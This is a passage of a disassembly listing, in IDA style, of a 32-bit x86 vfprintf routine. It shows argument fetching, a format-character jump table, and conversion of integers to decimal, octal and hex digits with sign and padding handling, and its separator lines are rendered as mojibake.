eax, edx jnb short loc_805191E mov eax, edx loc_805191E: ; CODE XREF: vfprintf+2092j mov [ebp+var_4B0], eax lea edx, ds:0[eax*4] mov [ebp+var_4E0], edx sub esp, edx mov esi, esp push edx push 0 push esi call memset mov ecx, [ebp+var_4B0] lea edx, [ecx+ecx*2] shl edx, 2 add esp, 0Ch sub esp, edx mov [ebp+var_4B4], esp cmp [ebp+var_4A4], 0 jz loc_8051A54 mov ebx, [ebp+var_4AC] mov [ebp+var_4F0], ebx mov [ebp+var_4EC], 0 loc_8051978: ; CODE XREF: vfprintf+21C6j mov edi, [ebp+var_4EC] mov ecx, [ebp+var_4AC] cmp dword ptr [ecx+edi+3Ch], 0FFFFFFFFh jz short loc_8051996 mov edx, [ecx+edi+3Ch] mov dword ptr [esi+edx*4], 0 loc_8051996: ; CODE XREF: vfprintf+2101j mov ebx, [ebp+var_4EC] mov edi, [ebp+var_4AC] cmp dword ptr [edi+ebx+38h], 0FFFFFFFFh jz short loc_80519B4 mov edx, [edi+ebx+38h] mov dword ptr [esi+edx*4], 0 loc_80519B4: ; CODE XREF: vfprintf+211Fj mov ecx, [ebp+var_4EC] mov ebx, [ebp+var_4AC] mov edx, [ebx+ecx+48h] test edx, edx jz short loc_8051A2B cmp edx, 1 jnz short loc_80519DC mov edi, [ebx+ecx+40h] mov edx, [ebx+ecx+44h] mov [esi+edi*4], edx jmp short loc_8051A2B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80519DC: ; CODE XREF: vfprintf+2143j mov ecx, [ebp+var_4EC] mov ebx, [ebp+var_4AC] movzx ecx, byte ptr [ebx+ecx+8] mov [ebp+var_4E0], ecx mov edi, [ebp+var_4EC] mov edi, [ebx+edi+40h] lea edx, ds:0[edi*4] add edx, esi push edx mov ecx, [ebp+var_4EC] mov edx, [ebx+ecx+48h] push edx mov ebx, [ebp+var_4F0] push ebx mov edi, [ebp+var_4E0] mov edx, ds:dword_807E78C[edi*4] call edx add esp, 0Ch loc_8051A2B: ; CODE XREF: vfprintf+213Ej ; vfprintf+2150j add [ebp+var_4F0], 58h add [ebp+var_4EC], 58h mov ecx, [ebp+var_4A4] lea edx, [ecx+ecx*4] lea edx, [ecx+edx*2] shl edx, 3 cmp [ebp+var_4EC], edx jnz loc_8051978 loc_8051A54: ; CODE XREF: vfprintf+20D4j mov [ebp+var_4F0], 0 mov ebx, [ebp+var_468] mov [ebp+arg_8], ebx mov edi, [ebp+var_4B0] cmp [ebp+var_4F0], edi jnb loc_8051BDE mov eax, [ebp+var_4B4] nop loc_8051A80: ; CODE XREF: vfprintf+2350j mov edx, [esi] cmp edx, 4 jz loc_8051B38 jg short loc_8051ABC cmp edx, 1 jz short loc_8051AF8 jg short loc_8051AA4 test edx, edx jz loc_8051B78 jmp loc_8051B98 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051AA4: ; CODE XREF: vfprintf+220Aj cmp edx, 2 jz loc_8051B78 cmp edx, 3 jz loc_8051B88 jmp loc_8051B98 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8051ABC: ; CODE XREF: vfprintf+2203j cmp edx, 105h jz loc_8051B5C jg short loc_8051ADC cmp edx, 5 jz short loc_8051B48 cmp edx, 100h jz short loc_8051B20 jmp loc_8051B98 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051ADC: ; CODE XREF: vfprintf+2240j cmp edx, 200h jz loc_8051B88 cmp edx, 400h jz short loc_8051B0C jmp loc_8051B98 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051AF8: ; CODE XREF: vfprintf+2208j add [ebp+arg_8], 4 mov ecx, [ebp+arg_8] mov dl, [ecx-4] mov [eax], dl jmp loc_8051BC0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051B0C: ; CODE XREF: vfprintf+2266j add [ebp+arg_8], 4 mov ebx, [ebp+arg_8] mov dx, [ebx-4] mov [eax], dx jmp loc_8051BC0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8051B20: ; CODE XREF: vfprintf+224Dj add [ebp+arg_8], 8 mov ebx, [ebp+arg_8] mov edx, [ebx-8] mov [eax], edx mov edx, [ebx-4] mov [eax+4], edx jmp loc_8051BC0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8051B38: ; CODE XREF: vfprintf+21FDj add [ebp+arg_8], 8 mov edi, [ebp+arg_8] fld qword ptr [edi-8] fstp dword ptr [eax] jmp short loc_8051BC0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051B48: ; CODE XREF: vfprintf+2245j add [ebp+arg_8], 8 mov ecx, [ebp+arg_8] mov edx, [ecx-8] mov [eax], edx mov edx, [ecx-4] mov [eax+4], edx jmp short loc_8051BC0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051B5C: ; CODE XREF: vfprintf+223Aj add [ebp+arg_8], 0Ch mov ebx, [ebp+arg_8] mov edx, [ebx-0Ch] mov [eax], edx mov edx, [ebx-8] mov [eax+4], edx mov edx, [ebx-4] mov [eax+8], edx jmp short loc_8051BC0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051B78: ; CODE XREF: vfprintf+220Ej ; vfprintf+221Fj add [ebp+arg_8], 4 mov edi, [ebp+arg_8] mov edx, [edi-4] mov [eax], edx jmp short loc_8051BC0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051B88: ; CODE XREF: vfprintf+2228j ; vfprintf+225Aj add [ebp+arg_8], 4 mov ecx, [ebp+arg_8] mov edx, [ecx-4] mov [eax], edx jmp short loc_8051BC0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051B98: ; CODE XREF: vfprintf+2214j ; vfprintf+222Ej ... test byte ptr [esi+1], 8 jz short loc_8051BAC add [ebp+arg_8], 4 mov ebx, [ebp+arg_8] mov edx, [ebx-4] mov [eax], edx jmp short loc_8051BC0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051BAC: ; CODE XREF: vfprintf+2314j mov dword ptr [eax], 0 mov dword ptr [eax+4], 0 mov dword ptr [eax+8], 0 loc_8051BC0: ; CODE XREF: vfprintf+227Cj ; vfprintf+2292j ... add eax, 0Ch add esi, 4 inc [ebp+var_4F0] mov edi, [ebp+var_4B0] cmp [ebp+var_4F0], edi jb loc_8051A80 loc_8051BDE: ; CODE XREF: vfprintf+21EBj mov ecx, [ebp+var_4A4] cmp [ebp+var_460], ecx jnb loc_80529B8 mov ebx, [ebp+var_460] lea edx, [ebx+ebx*4] lea edx, [ebx+edx*2] shl edx, 3 mov [ebp+var_4D0], edx db 8Dh,76h,0 ; lea esi, [esi+0] loc_8051C08: ; CODE XREF: vfprintf+312Aj mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] cmp dword ptr [ecx+edi+3Ch], 0FFFFFFFFh jz short loc_8051C41 mov edx, [ecx+edi+3Ch] lea edx, [edx+edx*2] mov ebx, [ebp+var_4B4] mov edx, [ebx+edx*4] mov [ecx+edi+4], edx test edx, edx jge short loc_8051C41 neg edx mov [ecx+edi+4], edx mov dword ptr [ecx+edi+20h], 1 loc_8051C41: ; CODE XREF: vfprintf+2391j ; vfprintf+23A9j mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] cmp dword ptr [ecx+edi+38h], 0FFFFFFFFh jz short loc_8051C72 mov edx, [ecx+edi+38h] lea edx, [edx+edx*2] mov ebx, [ebp+var_4B4] mov edx, [ebx+edx*4] mov [ecx+edi], edx test edx, edx jge short loc_8051C72 mov dword ptr [ecx+edi], 0FFFFFFFFh loc_8051C72: ; CODE XREF: vfprintf+23CAj ; vfprintf+23E1j mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] movzx edx, byte ptr [ecx+edi+8] add edx, 0FFFFFFDBh ; switch 84 cases cmp edx, 53h ja loc_805287C ; default jmp ds:off_8051C98[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h off_8051C98 dd offset loc_8051DE8, 1Fh dup(offset loc_805287C), offset loc_8052480 ; DATA XREF: vfprintf+2407r dd offset loc_805287C, offset loc_8052480, 10h dup(offset loc_805287C) ; jump table for switch statement dd offset loc_8051F58, 0Ah dup(offset loc_805287C), offset loc_805248C dd offset loc_8051E24, 3 dup(offset loc_8052480), offset loc_805287C dd offset loc_8051E24, 3 dup(offset loc_805287C), offset loc_8052858 dd offset loc_8052794, offset loc_8051F4C, offset loc_8052718 dd 2 dup(offset loc_805287C), offset loc_8052560, offset loc_805287C dd offset loc_8051F40, 2 dup(offset loc_805287C), offset loc_8051F58 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051DE8: ; CODE XREF: vfprintf+2407j ; DATA XREF: vfprintf+2410o mov ebx, [ebp+arg_0] ; case 0x25 mov edx, [ebx+14h] cmp [ebx+18h], edx ja short loc_8051E0C push 25h push ebx call sub_8061910 add esp, 8 cmp eax, 0FFFFFFFFh jz loc_8050E72 ; case 0x0 jmp short loc_8051E18 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051E0C: ; CODE XREF: vfprintf+2569j mov edi, [ebp+arg_0] mov edx, [edi+14h] mov byte ptr [edx], 25h inc dword ptr [edi+14h] loc_8051E18: ; CODE XREF: vfprintf+257Fj inc [ebp+var_464] jmp loc_8052933 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8051E24: ; CODE XREF: vfprintf+2407j ; DATA XREF: vfprintf+2410o mov [ebp+var_4F0], 0Ah ; case 0x64 mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] cmp dword ptr [ebx+ecx+0Ch], 0 jz loc_8051ED0 mov edx, [ebx+ecx+40h] lea edx, [edx+edx*2] mov edi, [ebp+var_4B4] mov ecx, [edi+edx*4] mov [ebp+var_4EC], ecx mov ecx, [edi+edx*4+4] mov [ebp+var_4E8], ecx mov [ebp+var_4CC], 0 cmp [ebp+var_4E8], 0 jge short loc_8051E7E inc [ebp+var_4CC] loc_8051E7E: ; CODE XREF: vfprintf+25EEj mov ebx, [ebp+var_4EC] mov [ebp+var_4EC], ebx mov ebx, [ebp+var_4E8] mov [ebp+var_4E8], ebx cmp [ebp+var_4CC], 0 jz short loc_8051EB2 neg [ebp+var_4EC] adc [ebp+var_4E8], 0 neg [ebp+var_4E8] loc_8051EB2: ; CODE XREF: vfprintf+2615j mov edi, [ebp+var_4EC] mov [ebp+var_4C8], edi mov edi, [ebp+var_4E8] mov [ebp+var_4C4], edi jmp loc_8051FB3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8051ED0: ; CODE XREF: vfprintf+25B7j mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] cmp dword ptr [ebx+ecx+14h], 0 jnz short loc_8051EF6 mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] cmp dword ptr [ebx+ecx+10h], 0 jnz short loc_8051F08 loc_8051EF6: ; CODE XREF: vfprintf+2659j mov edx, [ebx+ecx+40h] lea edx, [edx+edx*2] mov edi, [ebp+var_4B4] mov edx, [edi+edx*4] jmp short loc_8051F25 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051F08: ; CODE XREF: vfprintf+266Cj mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] mov edx, [ebx+ecx+40h] lea edx, [edx+edx*2] mov edi, [ebp+var_4B4] movsx edx, word ptr [edi+edx*4] loc_8051F25: ; CODE XREF: vfprintf+267Ej mov ecx, edx shr ecx, 1Fh mov [ebp+var_4CC], ecx jz loc_80520F5 neg edx jmp loc_80520F5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051F40: ; CODE XREF: vfprintf+2407j ; DATA XREF: vfprintf+2410o mov [ebp+var_4F0], 0Ah ; case 0x75 jmp short loc_8051F62 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051F4C: ; CODE XREF: vfprintf+2407j ; DATA XREF: vfprintf+2410o mov [ebp+var_4F0], 8 ; case 0x6f jmp short loc_8051F62 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051F58: ; CODE XREF: vfprintf+2407j ; DATA XREF: vfprintf+2410o mov [ebp+var_4F0], 10h ; case 0x58 loc_8051F62: ; CODE XREF: vfprintf+26C2j ; vfprintf+26CEj mov [ebp+var_4CC], 0 mov ebx, [ebp+var_4D0] mov edi, [ebp+var_4AC] mov dword ptr [edi+ebx+24h], 0 mov dword ptr [edi+ebx+1Ch], 0 cmp dword ptr [edi+ebx+0Ch], 0 jz loc_80520A0 mov edx, [edi+ebx+40h] lea edx, [edx+edx*2] mov ecx, [ebp+var_4B4] mov ebx, [ecx+edx*4] mov [ebp+var_4C8], ebx mov ebx, [ecx+edx*4+4] mov [ebp+var_4C4], ebx loc_8051FB3: ; CODE XREF: vfprintf+2642j mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] cmp dword ptr [ecx+edi], 0 jge short loc_8051FD0 mov dword ptr [ecx+edi], 1 jmp short loc_8051FE1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8051FD0: ; CODE XREF: vfprintf+273Bj mov ebx, [ebp+var_4D0] mov edi, [ebp+var_4AC] mov byte ptr [edi+ebx+2Ch], 20h loc_8051FE1: ; CODE XREF: vfprintf+2744j mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] cmp dword ptr [ebx+ecx], 0 jnz short loc_805200C cmp [ebp+var_4C8], 0 jnz short loc_805200C cmp [ebp+var_4C4], 0 jnz short loc_805200C lea esi, [ebp+var_1] jmp short loc_8052079 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805200C: ; CODE XREF: vfprintf+2769j ; vfprintf+2772j ... mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] cmp byte ptr [ecx+edi+8], 58h setz dl and edx, 0FFh push edx mov ebx, [ebp+var_4F0] push ebx push ebp push [ebp+var_4C4] push [ebp+var_4C8] call sub_8062714 mov esi, eax dec esi add esp, 14h mov ecx, [ebp+var_4AC] cmp dword ptr [ecx+edi+28h], 0 jz short loc_8052079 cmp [ebp+var_458], 0 jz short loc_8052079 mov edx, [ebp+var_3F8] push edx mov ebx, [ebp+var_458] push ebx lea edx, [ebp+var_1] push edx push esi call sub_8052C9C mov esi, eax add esp, 10h loc_8052079: ; CODE XREF: vfprintf+2780j ; vfprintf+27C9j ... xor edx, edx cmp [ebp+var_4C8], 0 jnz short loc_805208D cmp [ebp+var_4C4], 0 jz short loc_8052092 loc_805208D: ; CODE XREF: vfprintf+27FAj mov edx, 1 loc_8052092: ; CODE XREF: vfprintf+2803j mov [ebp+var_4C8], edx jmp loc_8052242 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80520A0: ; CODE XREF: vfprintf+2705j mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] cmp dword ptr [ecx+edi+14h], 0 jnz short loc_80520C6 mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] cmp dword ptr [ecx+edi+10h], 0 jnz short loc_80520D8 loc_80520C6: ; CODE XREF: vfprintf+2829j mov edx, [ecx+edi+40h] lea edx, [edx+edx*2] mov ebx, [ebp+var_4B4] mov edx, [ebx+edx*4] jmp short loc_80520F5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80520D8: ; CODE XREF: vfprintf+283Cj mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] mov edx, [ecx+edi+40h] lea edx, [edx+edx*2] mov ebx, [ebp+var_4B4] movzx edx, word ptr [ebx+edx*4] loc_80520F5: ; CODE XREF: vfprintf+26A8j ; vfprintf+26B0j ... mov [ebp+var_4C8], edx loc_80520FB: ; CODE XREF: vfprintf+2EDFj mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] cmp dword ptr [ecx+edi], 0 jge short loc_8052118 mov dword ptr [ecx+edi], 1 jmp short loc_8052129 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052118: ; CODE XREF: vfprintf+2883j mov ebx, [ebp+var_4D0] mov edi, [ebp+var_4AC] mov byte ptr [edi+ebx+2Ch], 20h loc_8052129: ; CODE XREF: vfprintf+288Cj mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] cmp dword ptr [ebx+ecx], 0 jnz short loc_805214C cmp [ebp+var_4C8], 0 jnz short loc_805214C lea esi, [ebp+var_1] jmp loc_8052242 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805214C: ; CODE XREF: vfprintf+28B1j ; vfprintf+28BAj mov edx, [ebp+var_4C8] mov eax, edx mov edx, ebp mov [ebp+var_4EC], offset a0123456789abcd ; "0123456789abcdefghijklmnopqrstuvwxyz" mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] cmp byte ptr [ecx+edi+8], 58h jnz short loc_805217D mov [ebp+var_4EC], offset a0123456789ab_0 ; "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" loc_805217D: ; CODE XREF: vfprintf+28E9j mov esi, edx cmp [ebp+var_4F0], 0Ah jz short loc_80521A4 ja short loc_8052198 cmp [ebp+var_4F0], 8 jz short loc_80521D8 jmp short loc_80521F0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8052198: ; CODE XREF: vfprintf+2900j cmp [ebp+var_4F0], 10h jz short loc_80521C0 jmp short loc_80521F0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80521A4: ; CODE XREF: vfprintf+28FEj ; vfprintf+2933j dec esi mov ebx, 0Ah xor edx, edx div ebx mov edi, [ebp+var_4EC] mov dl, [edx+edi] mov [esi], dl test eax, eax jnz short loc_80521A4 jmp short loc_8052208 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80521C0: ; CODE XREF: vfprintf+2917j ; vfprintf+294Cj dec esi mov edx, eax and edx, 0Fh mov ecx, [ebp+var_4EC] mov dl, [edx+ecx] mov [esi], dl shr eax, 4 jnz short loc_80521C0 jmp short loc_8052208 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80521D8: ; CODE XREF: vfprintf+2909j ; vfprintf+2964j dec esi mov edx, eax and edx, 7 mov ebx, [ebp+var_4EC] mov dl, [edx+ebx] mov [esi], dl shr eax, 3 jnz short loc_80521D8 jmp short loc_8052208 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80521F0: ; CODE XREF: vfprintf+290Bj ; vfprintf+2919j ... dec esi xor edx, edx div [ebp+var_4F0] mov edi, [ebp+var_4EC] mov dl, [edx+edi] mov [esi], dl test eax, eax jnz short loc_80521F0 loc_8052208: ; CODE XREF: vfprintf+2935j ; vfprintf+294Ej ... dec esi mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] cmp dword ptr [ebx+ecx+28h], 0 jz short loc_8052242 cmp [ebp+var_458], 0 jz short loc_8052242 mov edx, [ebp+var_3F8] push edx mov edi, [ebp+var_458] push edi lea edx, [ebp+var_1] push edx push esi call sub_8052C9C mov esi, eax add esp, 10h loc_8052242: ; CODE XREF: vfprintf+2810j ; vfprintf+28BFj ... mov edx, esi not edx add edx, ebp mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] sub [ebx+ecx+4], edx mov edi, [ebx+ecx] sub edi, edx mov edx, edi mov [ebx+ecx], edx cmp [ebp+var_4C8], 0 jz short loc_8052287 cmp dword ptr [ebx+ecx+18h], 0 jz short loc_8052287 cmp [ebp+var_4F0], 8 jnz short loc_8052287 test edx, edx jg short loc_8052287 mov byte ptr [esi], 30h dec esi dec dword ptr [ebx+ecx+4] loc_8052287: ; CODE XREF: vfprintf+29E1j ; vfprintf+29E8j ... mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] cmp dword ptr [ebx+ecx], 0 jle short loc_80522D0 mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] mov edi, [ebx+ecx] sub [ebx+ecx+4], edi mov edx, [ebx+ecx] dec dword ptr [ebx+ecx] test edx, edx jle short loc_80522D0 mov eax, [ebp+var_4D0] loc_80522BC: ; CODE XREF: vfprintf+2A46j mov byte ptr [esi], 30h dec esi mov ecx, [ebp+var_4AC] mov edx, [ecx+eax] dec dword ptr [ecx+eax] test edx, edx jg short loc_80522BC loc_80522D0: ; CODE XREF: vfprintf+2A0Fj ; vfprintf+2A2Cj cmp [ebp+var_4C8], 0 jz short loc_80522FA mov ebx, [ebp+var_4D0] mov edi, [ebp+var_4AC] cmp dword ptr [edi+ebx+18h], 0 jz short loc_80522FA cmp [ebp+var_4F0], 10h jnz short loc_80522FA add dword ptr [edi+ebx+4], 0FFFFFFFEh loc_80522FA: ; CODE XREF: vfprintf+2A4Fj ; vfprintf+2A62j ... cmp [ebp+var_4CC], 0 jnz short loc_805231D mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] cmp dword ptr [ebx+ecx+24h], 0 jnz short loc_805231D cmp dword ptr [ebx+ecx+1Ch], 0 jz short loc_805232D loc_805231D: ; CODE XREF: vfprintf+2A79j ; vfprintf+2A8Cj mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] dec dword ptr [ecx+edi+4] loc_805232D: ; CODE XREF: vfprintf+2A93j mov ebx, [ebp+var_4D0] mov edi, [ebp+var_4AC] cmp dword ptr [edi+ebx+20h], 0 jnz short loc_8052372 cmp byte ptr [edi+ebx+2Ch], 30h jnz short loc_8052372 mov edx, [edi+ebx+4] dec dword ptr [edi+ebx+4] test edx, edx jle short loc_8052372 mov eax, [ebp+var_4D0] db 8Dh,76h,0 ; lea esi, [esi+0] loc_805235C: ; CODE XREF: vfprintf+2AE8j mov byte ptr [esi], 30h dec esi mov ecx, [ebp+var_4AC] mov edx, [ecx+eax+4] dec dword ptr [ecx+eax+4] test edx, edx jg short loc_805235C loc_8052372: ; CODE XREF: vfprintf+2AB6j ; vfprintf+2ABDj ... cmp [ebp+var_4C8], 0 jz short loc_80523A2 mov ebx, [ebp+var_4D0] mov edi, [ebp+var_4AC] cmp dword ptr [edi+ebx+18h], 0 jz short loc_80523A2 cmp [ebp+var_4F0], 10h jnz short loc_80523A2 mov dl, [edi+ebx+8] mov [esi], dl dec esi mov byte ptr [esi], 30h dec esi loc_80523A2: ; CODE XREF: vfprintf+2AF1j ; vfprintf+2B04j ... cmp [ebp+var_4CC], 0 jz short loc_80523B0 mov byte ptr [esi], 2Dh jmp short loc_80523DE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80523B0: ; CODE XREF: vfprintf+2B21j mov ecx, [ebp+var_4D0] mov ebx, [ebp+var_4AC] cmp dword ptr [ebx+ecx+24h], 0 jz short loc_80523C8 mov byte ptr [esi], 2Bh jmp short loc_80523DE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80523C8: ; CODE XREF: vfprintf+2B39j mov edi, [ebp+var_4D0] mov ecx, [ebp+var_4AC] cmp dword ptr [ecx+edi+1Ch], 0 jz short loc_80523DF mov byte ptr [esi], 20h loc_80523DE: ; CODE XREF: vfprintf+2B26j ; vfprintf+2B3Ej dec esi loc_80523DF: ; CODE XREF: vfprintf+2B51j mov ebx, [ebp+var_4D0] mov edi, [ebp+var_4AC] cmp dword ptr [edi+ebx+20h], 0 jnz short loc_8052422 cmp byte ptr [edi+ebx+2Ch], 20h jnz short loc_8052422 mov edx, [edi+ebx+4] dec dword ptr [edi+ebx+4] test edx, edx jle short loc_8052422 mov eax, [ebp+var_4D0] nop loc_805240C: ; CODE XREF: vfprintf+2B98j mov byte ptr [esi], 